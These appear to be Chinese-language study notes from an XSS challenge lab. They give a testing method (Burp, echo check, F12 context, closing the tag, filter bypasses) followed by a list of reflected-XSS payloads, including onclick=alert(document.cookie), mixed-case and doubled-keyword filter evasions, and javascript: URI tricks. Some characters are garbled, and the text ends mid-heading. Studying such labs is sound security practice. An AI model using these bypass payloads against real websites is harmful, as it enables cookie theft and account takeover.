先看bp
再看回显
测试常规xss语句
接着看F12上下文
然后是构造闭合
最后是依次测试绕过方法
成功的时候要能得到一个可以复现的url
正常输入看响应包和发送包有没有相同点
如果没有进入第二步
一般选即可,或,或 οnclick=alert(document.cookie)
只用做轮子测试,如果还不行,进入下一步
比如上一步中输入,输入框回显异常
F12观察输入框位置上下文
可以发现语句存在需要闭合的地方,改成">
所以轮子应该类似">{javascript}
">//
此处使用了htmlspecialchars转义了<>等特殊字符,使得尖括号里的代码不能执行,如果找不到绕过方法,只能执行事件函数,比如onclick,直接结束
&:转换为&
“:转换为”
':转换为成为 ’
<:转换为<
:转换为>
由上可以看出单引号没有转义,可以用它来做闭合
同上
发现过滤了on,会在on之间插入_,ri也被过滤
因此只能找不带on和
这关链接也被过滤,但是可以通过大小写绕过
" oNclick=alert(document.cookie) "
总结:xss不要直接修改页面代码,要在输入框中构造,进而产生url链接
多写绕过
" oonnclick=alert(document.cookie) "
以此步骤测试,先看bp,再看回显,接着看F12,然后是看闭合,最后是依次测试绕过方法
浏览器左下角查看器,查找注入点所在代码
burp响应包referer/UA/cookie三处位置看是否在提交包中有对应信息
xss不要直接修改页面代码,要在输入框中构造,进而产生url链接
">
’ οnclick=’ alert(“123”);
" οnclick=alert(‘123’);"
">xss
">xss
" oonnclick=alert(‘123’);"
javascript:alert(‘xss’)
javascrIpt:alert(‘xss’)
javascript:alert(‘xss’)//http://www.baidu.com
javascript:alert(‘xss’)//http://
t_sort=123" type=“” οnclick="alert(‘xss’)
“ type=”” οnclick=”alert(document.cookie)
“ type=”” οnclick=”alert(document.cookie)
“ οnclick="alert(‘xss’) type=”
注释方式有两种: